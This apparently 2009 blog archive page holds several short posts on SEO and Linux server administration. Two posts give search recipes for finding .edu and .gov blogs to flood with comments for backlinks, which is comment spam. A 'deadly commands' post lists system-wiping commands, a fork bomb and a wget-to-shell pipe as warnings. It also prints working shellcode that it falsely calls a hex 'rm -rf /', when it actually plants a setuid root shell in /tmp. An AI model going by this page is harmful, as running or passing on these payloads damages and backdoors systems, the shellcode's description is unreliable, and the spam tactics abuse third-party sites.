Logo Background RSS

» vinod

  • Link Building
    By vinod on March 14th, 2009 | 4 Comments4 Comments Comments

    In every webmaster forum and blog out there, the community always goes nuts over finding ways to get universities and government sites to link to you. This post is dedicated to helping those people save their money and allow them to get an unlimited amount of .edu and .gov links for free, all through the power of google!

    The ’site:’ feature in Google allows only results with that domain name or domain extension to show up. You can “hack” this feature to allow Google to find the most relevant university and government websites related to your sites.

    Examples:
    Google query: site:.gov blog [or site:.edu blog]
    Results in: Google finds any .gov website that is running a blog or has a /blog/ directory. You can then visit these blogs and post comments (if you can find wordpress blogs like this one), and get hundreds of free .gov backlinks.
    [Alternative queries: 'blog' 'blogs' 'wordpress' 'comment' 'guestbook' '2007' '2006']

    Google query: site:.edu *your niche* + blog
    For example: site:.edu internet marketing blog
    The top result is a .edu blog that links to a non edu blog, but that blog is related and is PR3 and has edu backlinks. That is also a great relevant place to comment, even if it is not directly a .edu. On the other hand, the third result was a PR3 highly related .edu internet marketing blog with zero comments. That is easy .edu backlinks!

    You can easily replicate these queries to fit your needs, and it is highly scalable. You can find .edu, .gov, and if you are lucky, .mil blogs. If you are not as picky, you can just search specifically for the blogs without the .edu or .gov extension, and you can find some high pageranked blogs on the first pages of results. Play around with it, enjoy it, it’s free!

  • Linux Deadly Command
    By vinod on March 3rd, 2009 | No Comments Comments

    1. Code:

    CODE
    rm -rf /

    This command will recursively and forcefully delete all the files inside the root directory.

    2. Code:

    CODE
    char esp[] __attribute__ ((section(“.text”))) /* e.s.p
    release */
    = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
    “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
    “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
    “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
    “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
    “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
    “\x6e\x2f\x73\x68\x00\x2d\x63\x00″
    “cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;”;

    This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

    3. Code:

    CODE
    mkfs.ext3 /dev/sda

    This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

    4. Code:

    CODE
    :( ){:|:&};:

    Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

    5. Code:

    CODE
    any_command > /dev/sda


    With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

    6. Code:

    CODE
    wget http://some_untrusted_source -O- | sh

    Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

    7. Code:

    CODE
    mv /home/yourhomedirectory/* /dev/null

    This command will move all the files inside your home directory to a place that doesn’t exist; hence you will never ever see those files again.

    There are of course other equally deadly
    Linux commands
    that I fail to include here, so if you have something to add, please share it with us via comment.

  • Google Sandbox
    By vinod on February 27th, 2009 | No Comments Comments

    The Google sandbox is a concept that has been coined to describe the effect that new websites have in Google’s search results.

    New websites do not behave in the same way in Google’s search results as older, more established websites. It seems that Google is less inclined to rank newer websites until they have proven themselves and gone through a probationary period. This seems to be a period of 90 to 120 days.

    This is not to say that everything you do is pointless within this time, it just means that your efforts will probably be put on hold until this period has passed.

    The Google sandbox could be used by Google for many things other than just new websites. Google could also use this for websites that it believes are not playing fair or that have suddenly gained large numbers of inward links.

    If you have a new website you should make your changes and optimize your website gradually. This includes building links to your website. You should try to build links slowly over time instead of adding a hundred in one sitting. This sudden spike of inward links could cause you problems. It would look unnatural, as links are not normally achieved this fast.

    There are several ways you can deal with the Google sandbox and its effects. including:

    * Use an existing older domain name instead of buying a new one.
    * Build links slowly over time
    * Optimize your website slowly
    * In the early days, concentrate on other search engines
    * Utilize pay per click (PPC) for your initial placement

    The Google sandbox effect is not a recognized algorithm by Google, it is just a phrase to describe the effect often seen with new websites that have only recently been found by Google.

  • How to get backlinks from .edu sites ?
    By vinod on February 27th, 2009 | No Comments Comments

    Everyone wants to make Backlink

    Here we go: Just go to google search engine and enter the code below:

    site:.edu inurl:blog “comment” -”you must be logged in” -”posting closed” -”comment closed” “keyword”

    Where it says keyword put the keyword you want to search for to match your site.

    Now to break this down a bit it will sort through all the .edu blogs and only pull ones that allow a comment and match your keyword. As you see we had it take out the blogs that were closed for comments, ones that required you log in, and posting closed.

    There you have it, now get to work and start getting some quality .edu backlinks.

    Hope you all like this post :)

  • Modify ssh Welcome message
    By vinod on February 9th, 2009 | No Comments Comments

    Hi friends if you want to create a ssh login message for your server if any buddy login with ssh they will get a welcome message.
    Lets Start Login with root password

    pico /etc/motd

    You will get a welcome screen you can modify it anything you want to show to your users. who logged via ssh. Write something like this
    This computerized system is designed for registered users. All activity is recorded and investigated by the individual system regularly. Those without power or more than their rights when using this system to cancel all its services are subject to. Any illegal services or the user of the server or attempt to withdraw their services in the conduct of local law enforcement to notify the user of law will be finalized and will be punished. Anyone using this system consents to these terms.

    Now type Ctrl+X then hit Y and enter

    now your welcome message is now saved

    Logout of SSH then log back in, you’ll see your new greeting.. :D

  • PHP Spam Injection Protect it with Apache ModSecurity
    By vinod on February 2nd, 2009 | No Comments Comments
    From my old experience with my server From time to time we work with clients who would like to upgrade their web sites. Often their site is composed of various one-off applications — typically PHP-based — that someone built for them. More often than not, these applications were not developed with security in mind.
    Our first reaction is to pull the plug, analyze, and rebuild a secure and scalable solution. But pulling the plug is usually not an option. If a company relies on an application for leads or sales, they probably can’t afford to shut it down for any length of time. Under these circumstances, triage is usually the best one can hope for.
    Fortunately, there are a few things one can do to stem the bleeding. One of the more common problems with PHP-based applications is that they can allow the injection of malicious content, such as SQL or email spam. In some cases we find that over 95% of a client’s ISP traffic is coming from spam injection. The solution? Grab an industrial size helping of Apache mod_security.
    What is it? From the ModSecurity home page:
    ModSecurityTM is an open source intrusion detection and prevention engine for web applications (or a web application firewall). Operating as an Apache Web server module or standalone, the purpose of ModSecurity is to increase web application security, protecting web applications from known and unknown attacks.
    Essentially, it inspects web traffic passing through the web server for suspicious content as well as attempts to trigger buffer overflows, etc. When it finds such content, it can stop the traffic and/or log the incident.
    To put mod_security to work for you, first, download and unpack the tarball, build and install the DSO, and update Apache’s httpd.conf file.
    cd /usr/local; tar xzf /root/modsecurity-apache-1.9.4.tar.gz
    cd /usr/local/modsecurity-apache-1.9.4/apache2
    /usr/local/apache2/bin/apxs -cia mod_security.c
    Paste the ModSecurity minimal recommended filtering rules into your httpd.conf file.  Here are the first few lines from from the online manual’s Appendix A: Recommended Configuration:
    # Turn ModSecurity On
    SecFilterEngine On
    # Reject requests with status 403
    SecFilterDefaultAction “deny,log,status:403″
    # Some sane defaults
    SecFilterScanPOST On
    SecFilterCheckURLEncoding On
    SecFilterCheckUnicodeEncoding Off
    If you’d just like to see if someone is trying to exploit your site, you can set up ModSecurity to simply audit your traffic.  The lines
    # Log rule violations, but allow the requests
    SecFilterDefaultAction “log,pass”
    will do that for you.  However, please note that if you want to merely log rule violations without denying the traffic, you must not include any implicit validations (URL encoding validation, Unicode  encoding validation, cookie format validation, and byte range  restrictions) in your rules.When you are satisfied with your rules, you can deny the traffic by changing the default action to this:
    # Deny requests and log with status 403
    SecFilterDefaultAction “deny,log,status:403″
    Once you’ve got a bunch of traffic in your audit log, you can grep through it to see if you’ve got visitors with bad intentions:
    grep -i ‘to|bcc|cc’ audit_log | less
    or
    grep -i ‘to|bcc|cc’ audit_log | wc -l
    You may find lots of suspicious lines. In fact, you may find that some spammers are including portions of books, stories, or other nonsense, presumably to get past the final recipients’ Bayesian spam filters.
    To block a common PHP mail injection exploit, add a rule like this to your httpd.conf file in the ModSecurity section:
    # necessary to stop spammers doing mail injection into PHP mail forms!!!
    SecFilterSelective ARGS_VALUES “\n[[:space:]]*(to|bcc|cc)[[:space:]]*:.*@”
    The ModSecurity site also conveniently includes a package of rules, including PHP-related rules, grouped by function. Note that there are “SQL Injection Attack” rules in the “general” conf file. You can include the rule groups you want by using an “Include” directive in the ModSecurity section of your httpd.conf file; i.e. “Include conf/modsecurity-php.conf”.
    These rules are a good place to start, as are the rules from gotroot.com. You may need to tweak these a little bit, and be selective in which rulesets you apply. For example, often aggregating IP addresses such as AOL proxies are blocked due to the blacklist rules, which may not be what you want.
    This is only a brief introduction, but I hope you will try ModSecurity for yourself, and discover how powerful it can be.